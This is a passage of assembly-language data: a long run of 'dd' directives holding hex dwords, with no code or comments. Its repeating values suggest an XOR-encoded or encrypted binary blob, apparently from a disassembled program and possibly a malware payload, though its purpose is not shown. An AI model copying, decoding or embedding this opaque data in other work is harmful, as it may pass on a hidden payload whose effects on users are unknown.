		dd 32156610h, 0BF1ACB70h, 32156648h, 3213E42Dh,	0B41A6611h
		dd 32156688h, 1AC9DB11h, 0D794428Dh, 7290BCEh, 0F794BB7Fh
		dd 16394E98h, 0BBFAEF75h, 6F4A9A6Fh, 321FE187h,	37FC6644h
		dd 13156622h, 4915A9EFh, 5210A649h, 3216E94Bh, 8D1A6622h
		dd 884707DAh, 58077497h, 19FD8CC5h, 0E2145226h,	0B131729Ah
		dd 3EFC624Ch, 1B156644h, 0ACD757A5h, 88D18A96h,	31AFB8AEh
		dd 2636D3C1h, 321D8F24h, 86AD6611h, 2158A3F1h, 0BF9ECC8Ch
		dd 3401669Fh, 0FC9C30E9h, 69E5601h, 36D1E760h, 3D156622h
		dd 32157D9Ch, 279A6988h, 0DB156644h, 32156632h,	0CCC9D111h
		dd 0E31523D4h, 358F06AFh, 0EE2FC658h, 339C69BCh, 0CB156688h
		dd 3215DB11h, 0BB466622h, 0CE4BEFFAh, 37FC3BD3h, 0A5156644h
		dd 85343D4Ah, 3678D398h, 0B31A609Ch, 32156645h,	0CDEDE5D7h
		dd 3269E31Eh, 0B11A6688h
		dd 32156645h, 32108FDEh, 84CC6611h, 0B32D0773h,	0EFC8BB7Ah
		dd 6D9069FFh, 0DB156611h, 3215669Bh, 0A80AF20Eh, 0FE081F3Eh
		dd 4E29FD57h, 9F75321Eh, 62F34BE1h, 3215669Ah, 0F5E56711h
		dd 32156688h, 1611ED44h, 3211A2A3h, 0B71A6611h,	32156689h
		dd 36F9E7BDh, 0BB156622h, 36AA422Dh, 33156688h,	0BBE939BAh
		dd 26110B97h, 26FC9317h, 3DEA995Bh, 321563CEh, 0F3950622h
		dd 0F2D4074Fh, 32128F8Bh, 43746644h, 850142DEh,	87906551h
		dd 0CE1372ABh, 3D18DBC7h, 3D146036h, 32168E95h,	21986988h
		dd 0DB156644h, 3215662Ch, 0F007174Eh, 11188289h, 0A97970B6h
		dd 0C942E10h, 98BFCCBBh, 32CAE387h, 3CFC6644h, 3A156622h
		dd 4E112FF7h, 0D956FF16h, 0F99DDBEh, 3D950E0Fh,	269C6611h
		dd 3211DCACh, 0E4146644h, 321F8F78h, 0C7A56611h, 4E27C198h
		dd 12482448h, 3206924Ah, 1639EF11h, 826AB8E0h, 0B3583B41h
		dd 9058EEE7h, 0FFE0E71Ch, 0B3558D90h, 8BC0CEA9h, 0CE7BEF71h
		dd 259B694Ch, 0DB156688h, 32156656h, 2A898C3Eh,	0A94A95B8h
		dd 0F5EEDA6Fh, 101CB1CCh, 0B14546E6h, 0E9C62FDh, 3D4A3EACh
		dd 32157ECFh, 32068F22h, 0C0626611h, 9158336Ah,	1E3E8424h
		dd 7B3139D4h, 96D9DD2Bh, 0C1A734DFh, 8273D517h,	69CD565Eh
		dd 0DB4FB621h, 32156687h, 0E9F2F648h, 998CD0D5h, 62FBD4D2h
		dd 0DB31F8A9h, 3215660Ch, 3202E62Dh, 20FC6611h,	71156688h
		dd 0E72113FBh, 0E6EFDC52h, 95967BF7h, 0ED9D547h, 3ED577Bh
		dd 0DBED57E5h, 3215661Ah, 54799560h, 0E5B2BDB3h, 617705CCh
		dd 0CA9DA8A6h, 1EC590D3h, 36DD4A73h, 52460694h,	53ED3C70h
		dd 0B3F0EFDDh, 32156281h, 36F8E522h, 6E314A96h,	0DB316201h
		dd 3215664Eh, 22E42D38h, 57BFBA72h, 8F969B53h, 34016BE5h
		dd 0A4916923h, 0DB156610h, 3215668Fh, 243D6B97h, 632D1418h
		dd 0B8507FA8h, 89F2DE81h, 0FA149031h, 0B1316AA9h, 39FC62D5h
		dd 4E156688h, 3942BE84h, 4860EBB5h, 0B1ED7127h,	29B34235h
		dd 0B61A6642h, 32156641h, 323FE71Eh, 0DB756688h, 32156650h
		dd 4A3201h, 27BD56D5h, 7C3ED25Ah, 0B27AE769h, 79C9F408h
		dd 32156FF9h, 0E6172C88h, 6E8FB9CAh, 534B6EA3h,	3219E21Eh
		dd 0B11A6688h, 32156642h, 3215E22Dh, 0AF986611h, 340FB2D6h
		dd 1328D924h, 8C732BCBh, 0CD741A86h, 55AB065Bh,	0C762A6A6h
		dd 0B9730643h, 0B2749ACEh, 0B61AF6B7h, 3215665Fh, 894633DBh
		dd 32156614h, 334EBB01h, 0DBE03BABh, 321567EFh,	3214E21Eh
		dd 0B1ED6688h, 0B01A36BCh, 321566EBh, 0A2A037E8h, 3E9E8E00h
		dd 36D1E760h, 52156622h, 32156BF8h, 0AEE8CE88h,	2824A9D1h
		dd 6963D86Dh, 0ADA09AF6h, 0B01ACCE9h, 32156645h, 321D8FDEh
		dd 124F6611h, 431D000h,	369E354Dh, 0D39C3706h, 3211A790h
		dd 0F3946688h, 32156640h, 6E316AA5h, 32156AF8h,	40F35588h
		dd 0EA12B88h, 482895E5h, 0DB75CC3Fh, 32156683h,	3AC865F6h
		dd 191579B8h, 0B248909Bh, 0DB742F46h, 32156648h, 7BDC440Eh
		dd 0F20955C4h, 3B00FFB0h, 3215A4ADh, 8A730622h,	5274A959h
		dd 32157260h, 0EECC4044h, 0D652131Ah, 864F09EAh, 25D658DBh
		dd 0F15E760h, 6974069Bh, 3207EF1Eh, 3FFC6688h, 30156644h
		dd 0D81E2AD8h, 8DCE4920h, 3BE69515h, 16219925h,	36D1E77Ah
		dd 3D156611h, 32156A05h, 34976944h, 3D156622h, 3215669Eh
		dd 0B71ACC88h, 32156645h, 0CD6AE6DAh, 6A9069F8h, 3D156688h
		dd 321568C5h, 0B51A0622h, 32156611h, 3215EB87h,	0B1746644h
		dd 29B3429Fh, 0B61A6617h, 321566AFh, 0DDFBE624h, 1BEBC39Bh
		dd 0AF98074Fh, 340FB5FDh, 32156DADh, 0CFAC7222h, 0A0B076B2h
		dd 3032755h, 0B975B5BBh, 63749FD2h, 3211D946h, 0CB9C6688h
		dd 0BAEC671Bh, 0B9ED3F23h, 2615DB94h, 3593698Eh, 3D156644h
		dd 321567A0h, 8F409E11h, 61671268h, 1B488E45h, 46F54BDAh
		dd 0DBEC3563h, 32156683h, 9B39724Fh, 0D8AB3D9Dh, 5ADF9BE7h
		dd 321574C3h, 8D315ACDh, 32156626h, 0DB4A9E38h,	3215668Fh
		dd 0D0A709E7h, 998713B7h, 3202E81Eh, 0B11A6688h, 32156655h
		dd 32156ACBh, 27BEDD11h, 4F7CD3FBh, 0D0E6D005h,	3AFCCB6Eh
		dd 10156611h, 229D9C8Eh, 0CBD2A494h, 1474DB77h,	74D22D53h
		dd 8FCCF974h, 0CEAC37F0h, 33EA99DDh, 6B3C67E0h,	3A9D69D5h
		dd 3D156644h, 321564A8h, 0DB740611h, 0CDEA9DA0h, 5FA0EFBDh
		dd 0DB137226h, 32156618h, 66ACDFDh, 9BA32113h, 0F99406F3h
		dd 4D47BE69h, 45AF00DBh, 5A743EA7h, 32156BFAh, 0CA317298h
		dd 329566E0h, 0B61A9E44h, 3215662Ah, 3217EE1Eh,	53756688h
		dd 39FC662Eh, 81156622h, 1A84A094h, 0AC0B3F22h,	87EA8A4Fh
		dd 34017FB7h, 138099E8h, 0DB137284h, 3215664Bh,	24B3D21Dh
		dd 0D34E4EE9h, 132F4962h, 0B97525A4h, 0BB434236h, 36D3E7F7h
		dd 0B1156688h, 6926282h, 54753A06h, 89739D9Ah, 0DB740A22h
		dd 32156642h, 0D2EAC647h, 0BF9E4B60h, 340164F9h, 321577ADh
		dd 0FD7B4F22h, 0DE31B261h, 126B50DBh, 0D4EBC048h, 5A401735h
		dd 32156611h, 6F3CEFD5h, 3214E54Bh, 67E06622h, 321562ACh
		dd 2CD4E788h, 331E9A59h, 2CFCE7CBh, 6F1E9A0Ch, 32156D61h
		dd 7EA29644h, 3CB22AF4h, 59B8900Bh, 3064EB01h, 0BF1A6050h
		dd 32156623h, 0F4668FE8h, 3CFC9977h, 0C9156644h, 81D53B80h
		dd 0BBBB247Eh, 0A02713BDh, 19AA8FF0h, 0B91A6622h, 3215661Bh
		dd 0C0FCE7E8h, 610F7E38h, 3D750778h, 32156B9Eh,	32128E88h
		dd 55636644h, 35C22042h, 3CFD3D40h, 22156688h, 0F7D317AFh
		dd 0B646FCA6h, 41776709h, 0C19E0010h, 5275071Ah, 0DBEDD92Dh
		dd 3215661Dh, 0B6193836h, 0D3B84207h, 45BFE0A6h, 4398ED70h
		dd 0CA13728Ah, 32188E24h, 361A6622h, 0CBB6D2FBh, 0E10972B3h
		dd 54733733h, 6C2E179Dh, 32108E71h, 0D8F06688h,	6C04C70Fh
		dd 32156DCBh, 5B08E211h, 0BD5C355Dh, 571FD7C8h,	3EA0743h
		dd 321A8F48h, 128E6688h, 4B4E4607h, 0F41D2FB0h,	23DB60EFh
		dd 1298EFBEh, 52137DE2h, 3207EC2Dh, 3EFD6611h, 0B5156688h
		dd 0A214D02Bh, 0B3C83420h, 694FC5AEh, 53C4D187h, 665B5EC5h
		dd 0B71A2A66h, 32156687h, 0E29400E8h, 0B973C6E9h, 3EFC07D1h
		dd 0A9156611h, 0DF8E3B37h, 58D1FA12h, 540A4287h, 7E111E90h
		dd 5D9069A6h, 0DB156644h, 32156627h, 0BB88AB85h, 321D8F52h
		dd 0E4816644h, 7EE3C66h, 0B9455F2Eh, 0F69442BCh, 32156640h
		dd 321577CBh, 4D38D211h, 81D1B8Eh, 0C3600CB0h, 68ED8B8h
		dd 8D4270F2h, 3215668Eh, 2016A0C5h, 0CC14506Dh,	20168890h
		dd 0C74A50C7h, 32BCE3CFh, 23FC6036h, 67156611h,	0A14056AFh
		dd 56B2B4A2h, 7833C84Bh, 0EC3D63DDh, 32103661h,	0B9459344h
		dd 0F6944216h, 32156615h, 321E8FE8h, 7CF56644h,	0F491C736h
		dd 0C4FD15A3h, 0E99400EBh, 62749BC5h, 0B13172A9h, 0B37562D5h
		dd 6C1DA950h, 0B3730638h, 52016BD2h, 3740770h, 32078F41h
		dd 0DD826644h, 1B465395h, 0ED27964Ah, 95F72296h, 0F65EF970h
		dd 321575CBh, 9B569111h, 0D70505ACh, 0D11A7BFEh, 0A9B49361h
		dd 23BD2AC0h, 32299324h, 3351E24Bh, 0EE96622h, 0DF91693Ch
		dd 52EA9977h, 3217EB4Bh, 6A476622h, 3D3B5A70h, 3215B50Ch
		dd 39FC0644h, 9B156622h, 0ED1FB590h, 0C1A9792Eh, 851AD944h
		dd 22907E5h, 370EE41Eh,	26FC6688h, 9F156644h, 5BB15858h
		dd 0CE525BFFh, 2CA52E2Ah
		dd 0B1F6A993h, 0E3AC4EFh, 0AF936928h, 0C7EA9977h, 32198F24h
		dd 0E26A6622h, 0D9A8860Ah, 0FBEE78E4h, 0E747CD4h, 0EC976963h
		dd 0CB156615h, 0B41A3CB4h, 0CDEA993Ch, 320DEC2Dh, 21FC6611h
		dd 84156688h, 836C6E46h, 21BC9EEFh, 0F5C68AB5h,	9B7C1F98h
		dd 6D298696h, 0CD47E22Dh, 0EED99EEh, 949769E9h,	0CE156640h
		dd 32156ACBh, 0ABBBB411h, 3AFE9FFBh, 0C4186F8Ch, 3D6F5A9Ch
		dd 0CDEA4997h, 32048F77h, 5B246644h, 0D47774F3h, 0B9B259D2h
		dd 1BE3181Ch, 0DB88E984h, 32156253h, 321561F8h,	0F4288188h
		dd 32E4BDDDh, 3214DB77h, 0D8146611h, 851A06D5h,	0CBA2698Bh
		dd 0C02C9343h, 365EE21Eh, 52ED6688h, 0C7FAE722h, 62749FC3h
		dd 5D2385A9h, 4D2C53DAh, 0EAE249C6h, 0DF5CBF17h, 6AD7676Ch
		dd 0D6AA317Dh, 0B354A851h, 3FF7DD5h, 6DEC4FAFh,	3217E387h
		dd 53756644h, 0CDEBD5CBh, 0FB909AEEh, 3612E287h, 35FC6644h
		dd 0A1156622h, 0CB11D244h, 0B975F5AEh, 53E6ED8Eh, 2B30D3AFh
		dd 0BC1A6005h, 3215669Fh, 3204EA4Bh, 3EFC6622h,	5C156611h
		dd 0B44DD475h, 3FF2B462h, 65BE6EB6h, 0CB9C3943h, 32198FD7h
		dd 27EB6644h, 6EBF1B6Ah, 0C70C9CA0h, 0DE949FB7h, 32156640h
		dd 6D3172ABh, 321568F8h, 0FDD3ED88h, 0A6599B1Ch, 1629C5ABh
		dd 52214845h, 8B738738h, 61746B8Ah, 0BA474895h,	68E5EEEFh
		dd 34FD06D3h, 8A156644h, 4708DEA0h, 69DBED9Bh, 9C74A803h
		dd 52E99B31h, 381DD944h, 32078F43h, 32E76688h, 99FFA340h
		dd 76BFD318h, 62E9FBAFh, 6CD71727h, 8A45071Fh, 17F53F97h
		dd 1B4DA738h, 87D4E771h, 0CA30861Dh, 3215D975h,	0FD3C6611h
		dd 0E9E9F01h, 36D1E560h, 32156ACBh, 0C3F71011h,	0D8C9C561h
		dd 0E274C598h, 0B8FAE72Fh, 0B35ED236h, 0D71E504Fh, 0B3DA4F5Ch
		dd 0D71E50CDh, 0B8D2E709h, 0CA5ED2AFh, 0E9E3013h, 36D1E506h
		dd 5275064Fh, 0C17407E9h, 53E006E0h, 0CDEADF73h, 0CB1499EEh
		dd 6BD1674Eh, 0FCEA29C4h, 0DBEA01A2h, 0FAEA1191h, 2B936971h
		dd 0DB156644h, 32156636h, 0BFEB8999h, 21369ADEh, 526DB602h
		dd 0EBA35143h, 61BEEF1Dh, 2B30F305h, 0BE1A6050h, 32156636h
		dd 321BED1Eh, 3BFC6688h, 2B156644h, 3A22150Dh, 34A76D05h
		dd 32157461h, 32C8544h,	3932007Eh, 617A4C56h, 9E513603h
		dd 0B919954Ch, 26146BA7h, 32198F17h, 8FDE6688h,	5EE85ED0h
		dd 0BF3F1BEAh, 0F290D9DBh, 3294E387h, 0B2756644h, 3EFC00E6h
		dd 9F156611h, 0D691A92Ah, 983C3662h, 533C1262h,	3A5CE3D7h
		dd 0DB52609Ch, 32156649h, 649898CDh, 740645EDh,	53751E58h
		dd 95C70E73h, 0BF1AB2B8h, 32156602h, 32156861h,	7CA94A44h
		dd 78D5985Ah, 0DD59F57h, 0CD9C6B92h, 263903F1h,	0B7989A24h
		dd 34021EEFh, 32157461h, 4FA84C44h, 0CC0D5D6Fh,	99A9D171h
		dd 0EE7E2D4Ch, 0CDB0F396h, 359A69F2h, 3D156611h, 3215670Bh
		dd 67E99F44h, 0F79483ABh, 32156615h, 32118B09h,	1E926644h
		dd 269C3A06h, 8D1A0635h, 0CD749370h, 29916994h,	52156622h
		dd 321576F8h, 0E9AF5588h, 626CDF1Ch, 3FB1F420h,	23D5ED72h
		dd 0C7AE00D8h, 0F2900723h, 3332E32Dh, 60756611h, 32156060h
		dd 0E1908844h, 6C387AACh, 0B79E074Ah, 34014D55h, 3DD5E3BDh
		dd 3215C0A7h, 229A6911h, 0DB156688h, 3215664Fh,	0E8E979C4h
		dd 0BBF4FE63h, 0C764CF9Eh, 3A5CE382h, 52596036h, 3210EA1Eh
		dd 0B3736688h, 52FB1897h, 3215E12Dh, 0B51A6611h, 32156688h
		dd 0BA1A0725h, 32156638h, 3201EE1Eh, 3DFC6688h,	76156644h
		dd 0DD3D1A4Ch, 0DBBD320Fh, 0DE65D1CCh, 0DB7D3ABBh, 0DBCCBC3Eh
		dd 32156603h, 5A81CBA1h, 0CD016A0Ah, 64DCFFD6h,	33C1F41h
		dd 0CDE08124h, 263903F1h, 32198F24h, 9B826611h,	487F3528h
		dd 0E20FFE71h, 0B79839CEh, 34021EEFh, 32156D61h, 99CB5F44h
		dd 0DF5189CCh, 1D28A008h, 61ECB677h, 0F19485CDh, 32156626h
		dd 0B5118D92h, 0BB494294h, 23FC4250h, 59156622h, 0D70CAC7Eh
		dd 289DD2F1h, 0C745E4A4h, 0AE7C392h, 8D75B6EEh,	5C55F4F2h
		dd 3B18D922h, 3DD5E343h, 32154294h, 8C730688h, 0DB7414B5h
		dd 321566B3h, 321572F8h, 0ED5CE588h, 0B3FC49ABh, 0FFDD3A31h
		dd 0EF323E18h, 0B985A68Ch, 1290EF1Bh, 3D137D84h, 3215759Eh
		dd 0C29E0688h, 32156CADh, 2B054122h, 78843ED2h,	533B9075h
		dd 0D79C33B8h, 3211A3A3h, 0DF946611h, 3215668Ch, 6E314AC3h
		dd 523162ABh, 0DE9607E4h, 1621EF8Ch, 9090EBB1h,	3D137151h
		dd 32156797h, 0E2EA9388h, 3DD56DBDh, 32156AA7h,	3D759E11h
		dd 0DB74A637h, 32156651h, 1651EFDAh, 3B99690Dh,	52156688h
		dd 662CB1C5h, 53E90026h, 0B21A07E4h, 32156689h,	3FFCA5B1h
		dd 156622h, 5B061A76h, 5B7EC03Bh, 42617FDFh, 52460642h
		dd 8A733F70h, 0DB7457CCh, 3215664Ah, 0BBB4B504h, 102481C7h
		dd 0C8F72FD4h, 0BF9E7168h, 340EC002h, 29B50EEDh, 369C6688h
		dd 44AC0660h, 3D2913CFh, 32156098h, 32986988h, 53156644h
		dd 61DEEF71h, 0B11A3D49h, 32156684h, 3213EA4Bh,	0B91A6622h
		dd 32156611h, 324860E0h, 1601EF44h, 32155A98h, 31D76711h
		dd 0B41A3C8Ah, 3215664Bh, 32156CCBh, 519B3611h,	0BC90E4Ah
		dd 0CD47D780h, 3215EE92h, 1601ED11h, 0DB11A20Bh, 3215664Dh
		dd 70CBD845h, 2462F416h, 4B80EF57h, 3D13726Dh, 321567AFh
		dd 60429311h, 0A74C9E32h, 68C2EF22h, 6B1589A3h,	0CA140084h
		dd 321E8FD7h, 118B6644h, 7772E7D7h, 0F6838AA8h,	93AC375Ch
		dd 0B3328E6Ah, 0DA3BF3CBh, 0B9D46736h, 0BE1A3F99h, 3215664Fh
		dd 321560CBh, 0D5CD9611h, 0DB564C9Bh, 3215664Fh, 726B30DDh
		dd 0DCB9C4E9h, 0BB53D1E2h, 26026BD1h, 32068F24h, 15AC6611h
		dd 0ADBB262Ch, 4E4BF41h, 0CDF2C2BEh, 3E3D5530h,	162199A6h
		dd 36D1E51Ch, 32156ACBh, 3E254E11h, 9CA96A5Eh, 0AAAB6A7h
		dd 321E8FDCh, 39376611h, 0C9F7B6F8h, 90181BB9h,	166199CDh
		dd 1611ED35h, 0CA11A20Bh, 0C75FC069h, 5E8E4B33h, 0FA3C4A93h
		dd 0B079FD8Dh, 78B36368h, 9E977D7h, 26026B94h, 5D97698Eh
		dd 0DB156644h, 32156625h, 4BF22814h, 3DB67B4Eh,	321567CAh
		dd 0B72E9A22h, 34014F68h, 3245E587h, 0BE1A6644h, 32156636h
		dd 321569F8h, 0A5EA8B88h, 6E6C1B55h, 0DBC3258Ch, 0D4DD73Bh
		dd 3E9869E8h, 0DB156644h, 32156625h, 5FC93A76h,	53BD9818h
		dd 38926925h, 52156622h, 0F852FEA9h, 0EB9E00DCh, 3211A425h
		dd 321DEA2Dh, 0B91A6611h, 3215668Ah, 0CB740724h, 423162E5h
		dd 6168AB16h, 0EDF633h,	164967C6h, 87753D26h, 0FBA269C2h
		dd 1651A1E9h, 0F501DA40h, 76A83319h, 33D15EFAh,	6F1D42E4h
		dd 0DBBFD124h, 32156631h, 0C2474156h, 0A39F32Bh, 48046CE1h
		dd 5ED2E9A8h, 53F1262Bh, 42A3D8DEh, 89AD37AEh, 37448C52h
		dd 73686D14h, 373896A1h, 6C541B4Fh, 0D1940042h,	3BFC7A32h
		dd 42156688h, 0FD7D2D97h, 0C5CFCD68h, 0CD98EB70h, 0CB1372C5h
		dd 3D7587BBh, 321565A0h, 0D9D2E611h, 3D743D38h,	32156EC2h
		dd 30996922h, 52156611h, 0BA1A06E9h, 3215664Ch,	3217EB2Dh
		dd 53756611h, 32AD36D9h, 0BB156644h, 0C3143EE3h, 0DB4C679Bh
		dd 32156698h, 605393F2h, 32397B3Bh, 5488FEEFh, 0CF6C5A4Eh
		dd 0B61A8F78h, 3215670Ch, 3DFD5AE8h, 3214270Ch,	38AD0644h
		dd 0DB0C2C07h, 3215661Fh, 0AFD49523h, 3B7E60D1h, 9D13775Ch
		dd 0E74FE46h, 62916987h
		dd 0DB156644h, 32156629h, 0B5FE089Ch, 2AE405DBh, 0E500CA0h
		dd 969169EFh, 3D156610h, 32156A00h, 34936944h, 3D156622h
		dd 3215669Fh, 0D9299388h, 33AEE24Bh, 0BE1A6622h, 32156610h
		dd 35FC0771h, 0AF156644h, 0BECF589Ah, 52D60903h, 3DEBEDEEh
		dd 6074AEF3h, 3214DF73h, 0F89C6611h, 0B8E767D1h, 38FC3C5Eh
		dd 39156622h, 0AB26A6CCh, 4C3FB286h, 6EA33488h,	0CC33A0A2h
		dd 15A536DFh, 0F2138648h, 0FAEB65A4h, 0F43D3C0Eh, 26D3E649h
		dd 0DB4F95A8h, 32156654h, 3889FAECh, 83470873h,	260C598h
		dd 97278037h, 3D959DA2h, 0CDEAF694h, 3E946977h,	3D156644h
		dd 321560A8h, 32916911h, 63156688h, 0F99C97CDh,	0B3316AA9h
		dd 321562D5h, 35A10688h, 490C0E25h, 269C6622h, 3213DC35h
		dd 0E1146688h, 32108F1Eh, 13F36622h, 6213C1C5h,	32156430h
		dd 60E56744h, 32156698h, 31D76711h, 0C74D3C92h,	3215FAADh
		dd 44EA9A22h, 1609ED10h, 0CE11A20Bh, 3DEE9DC7h,	32159FA6h
		dd 52740611h, 0B8B9A308h, 0DE9607B7h, 1621EF26h, 8A73064Ah
		dd 0D494D2D3h, 6270716Fh, 369D6943h, 52156611h,	6274A003h
		dd 321567FCh, 6D456322h, 0C2146F7Ah, 594A36A5h,	6A0D654Dh
		dd 34FD06DBh, 5D156611h, 0EE874C08h, 32048F0Fh,	0B5856622h
		dd 0A94B616Fh, 178AE81Ch, 0A0E7A191h, 6A7F1556h, 5A74BF9Ah
		dd 32156BF9h, 8C3152CDh, 32156627h, 0DB4B9510h,	32156682h
		dd 75B2ADE5h, 2F707A64h, 0B41AEE91h, 32156689h,	0CC828FBDh
		dd 527599DDh, 32156FF8h, 0C0680688h, 7A674CA4h,	851A46C2h
		dd 8B7307C0h, 3D74B73Ch, 0C71438F2h, 321576CBh,	5872B611h
		dd 0DB5573EEh, 9AB080A8h, 0DD44D892h, 1CFEE510h, 0CC4EE287h
		dd 547599BBh, 3D8B6F9Ch, 0DB74BCA6h, 321566AAh,	336BE6B1h
		dd 709069DCh, 3DEA99EFh, 3215770Fh, 32198F44h, 8BAA6622h
		dd 0A190C857h, 0B1FAA59Eh, 0D9FC4C3Dh, 0CBEA99DEh, 0B3F0EF44h
		dd 3215624Dh, 36F8E744h, 0B5156622h, 0BB49423Dh, 34FC42BCh
		dd 0F156644h, 5C9F35E2h, 0D49C30FBh, 3211A009h,	0DC946644h
		dd 32156626h, 6E315296h, 52316A01h, 3213E64Bh, 0E8946622h
		dd 4A5C04Ah, 5196E537h,	0BB420775h, 36D2E7C5h, 0B3156611h
		dd 32156267h, 1629E144h, 1609EF7Eh, 321561F8h, 75003188h
		dd 0E5056300h, 0B3F3EF74h, 321562D7h, 36FBE588h, 6E3152C3h
		dd 3D315AABh, 32156B9Ah, 321D8F88h, 8C9F6644h, 6CF2FBA9h
		dd 22FC6FEAh, 7E156688h, 5F8849Eh, 0F6B7C670h, 0EBA782B1h
		dd 3EDEBC8h, 0CEB99E84h, 0F59D3573h, 0BA4E9F99h, 60753F43h
		dd 3215E84Bh, 0B34E6622h, 9A36A9CFh, 0DE9607D0h, 1611EF40h
		dd 0F1359692h, 0C9959E49h, 819169F8h, 52156641h, 32156CCAh
		dd 0E67F6B11h, 0F2E8E25Eh, 88580B57h, 42BDA840h, 3D290749h
		dd 32E4E287h, 3D756644h, 321567AEh, 851A9A11h, 0DB290773h
		dd 396BE24Bh, 39FC6622h, 52156611h, 0D5A6727h, 0A25EFD17h
		dd 0D92979CEh, 229DE21Eh, 3DED6688h, 321560CCh,	69440622h
		dd 0E740771h, 8691696Bh, 3D156647h, 321567A5h, 22FC9A11h
		dd 0DE156688h, 0ADF4302Ch, 6520457Ch, 28F5648Fh, 0E874D40h
		dd 0C49169A6h, 3D156633h, 32156798h, 0E9E9388h,	0D59C3160h
		dd 3211A1A3h, 0F5966611h, 1629E18Ch, 32058F18h,	0CFD6622h
		dd 54843A1Bh, 81BCBE8Ah, 8C6BEA22h, 39FCA0B5h, 3E156611h
		dd 47EEFC14h, 0F6E4E5Ch, 2E9EFE90h, 0D79C3335h,	3211A309h
		dd 0F7946644h, 32156626h, 6E314A96h, 1619ED74h,	0B3F2EF13h
		dd 321562E5h, 36D2E711h, 0B5156688h, 3D494278h,	321567A4h
		dd 69E9E11h, 0D29C36ACh, 32156241h, 36D5E522h, 6E316296h
		dd 0F8AA69E8h, 0F5ECA525h, 29B396A7h, 32156017h, 8A459A88h
		dd 32156644h, 2A9F9623h, 0B131629Ah, 3DE9624Ch,	32156CC0h
		dd 0B51A0622h, 32156611h, 637407E8h, 0F39545F5h, 85460047h
		dd 54EC5669h, 6BDE46D3h, 32156DADh, 9F536022h, 0D929DE2Ah
		dd 5A68C065h, 3D959DC4h, 0CDEA43A7h, 339369EEh,	0CB156688h
		dd 0B6CAE624h, 32156ECAh, 0C863E911h, 261BBF10h, 0C9AA69A5h
		dd 8B44077Ah, 32156610h, 0DB4CA8A1h, 32156656h,	0F7E609E8h
		dd 0E98AA27Eh, 0C4F5E807h, 166049AFh, 0B79EBCCDh, 34014848h
		dd 32156061h, 530E4944h, 0CAEF58FAh, 1870F39Ah,	8A75609Ch
		dd 3A99F7F8h, 0A125C9Ch, 52750744h, 0CF7E7EEh, 0BBCCE7EBh
		dd 534EB24Dh, 7DBE777h,	0BB470798h, 0E49C30B6h,	684B95ABh
		dd 3214EE1Eh, 63EC6688h, 321560FDh, 0C9D6E722h,	332E8D06h
		dd 0C9FEE743h, 6B2E8D53h, 34FC0642h, 0D8156611h, 0D2345CA7h
		dd 3CFC0707h, 7E156622h, 98A7C181h, 1E268373h, 9C3D3FAh
		dd 644707A9h, 321564AFh, 6CE7EF88h, 28169445h, 0EA2E9378h
		dd 3208E41Eh, 3DFC6688h, 77156644h, 0FCD4343Ch,	9D011ACBh
		dd 9ACBC2FDh, 0E82EBF87h, 0CC21E02Dh, 0B3ED99EEh, 152F604Bh
		dd 31FEE717h, 1B4E5632h, 31D6E7EAh, 0B34E5698h,	152F60AFh
		dd 82759E71h, 0CCAA698Bh, 34A833E9h, 0B3156644h, 0C86411E1h
		dd 0B3FE4F25h, 0C8641163h, 0DA753B70h, 32156630h, 3FFCB53Fh
		dd 4BEB255Eh, 0C2BA4F5Bh, 0CD0C7204h, 0E7959B72h, 54743C37h
		dd 259969E9h, 52156622h, 0DB3BBE91h, 32156685h,	4337229Ah
		dd 6C5ADC5Dh, 0BEE6EE42h, 9973075Dh, 0E9F4E624h, 0E5A26942h
		dd 5374B19Ah, 369E35D8h, 36D1E760h, 69156622h, 0ECAA6971h
		dd 32128FDEh, 10EA6644h, 276D6D88h, 52743973h, 538EA908h
		dd 3FFC06EFh, 0E8156622h, 2E4820A7h, 0F61ACE42h, 599A187Bh
		dd 32156CCAh, 0EC9ACD11h, 3DE33AA9h, 0DB5A6806h, 32156636h
		dd 0F56CF0FAh, 0ED8E912Eh, 56E86605h, 5F39BE6Dh, 0BC52F9F1h
		dd 0DE9407D3h, 32156640h, 8A3162ABh, 32156615h,	524DA089h
		dd 73AAEDF5h, 535D37BBh, 0DB315A98h, 32156698h,	0F2637360h
		dd 24E25D30h, 0FEE1E24Eh, 9375DE87h, 3E3112CDh,	5BA0EFD7h
		dd 0DB137234h, 32156685h, 0A964604Fh, 0B75DABA3h, 769B0D9Ch
		dd 162199DAh, 36D1E71Bh, 0DB156622h, 32156616h,	0ED8B6C98h
		dd 0CD65FBAEh, 0B34E4216h, 321562D5h, 0C99E0688h, 1619ED25h
		dd 0B3F6EF71h, 321562D2h, 36D6E588h, 6E317AC3h,	32156ECBh
		dd 0A5275E11h, 0EF13B9A2h, 162199E9h, 36D1E77Ch, 0DB156611h
		dd 3215669Ah, 171F1723h, 0BAB21070h, 5BAAE126h,	9104632Fh
		dd 0BB45B700h, 321163C2h, 88476611h, 3215668Ch,	0B54FB645h
		dd 52494226h, 598532AEh, 0C29E00C4h, 0EDEA8F25h, 0F5E999DDh
		dd 29B39694h, 3215648Eh, 321B8F44h, 0FF556622h,	87A50380h
		dd 28D548A0h, 71A08B6Ch, 0E9AA3174h, 330D454Bh,	6D1142F4h
		dd 0E9FEE71Fh, 0C70D4578h, 521BD01Eh, 32157561h, 9F489744h
		dd 0A85785E2h, 348FCF70h, 54A7CDAAh, 0A7E13DE9h, 69740672h
		dd 0B2ECE670h, 3256E587h, 0B9756644h, 0F0AA69E3h, 0A83370h
		dd 330FD584h, 0F9143BAFh, 3E278DA3h, 3AFC7CA2h,	0AA156688h
		dd 295D35Ch, 60B85536h,	0CDEA99ABh, 68C64F77h, 359669BCh
		dd 3D156622h, 32156792h, 47FC9F88h, 52156644h, 61450043h
		dd 0E5E345A6h, 0C4178148h, 37FAA693h, 0B263A1A2h, 0CA9D1DFEh
		dd 54D44ED3h, 32078F1Ch, 0ECE36622h, 128D6D9Bh,	0FC3F22AEh
		dd 4F486769h, 8ECA868Fh, 0FF248F20h, 0EFE28FB9h, 0CBE08FC3h
		dd 324B694Ah, 1621EF11h, 32159936h, 6CE44744h, 6AE93442h
		dd 8B4407E4h, 50A651A5h
		dd 5DA697C5h, 0F93C2B96h, 0B3DE4F48h, 354DF84Bh, 3397696Bh
		dd 0CB156622h, 1C4CE39Ah, 38FC609Ch, 0C156644h,	177D570Fh
		dd 2F896399h, 5780ED39h, 0DB13726Eh, 3215662Ch,	0BDE496E1h
		dd 0CEA1EBCCh, 0F12F27DDh, 8F967411h, 340176A0h, 0EF916989h
		dd 0DB156640h, 32156629h, 26030C66h, 0C427B781h, 0B63F651h
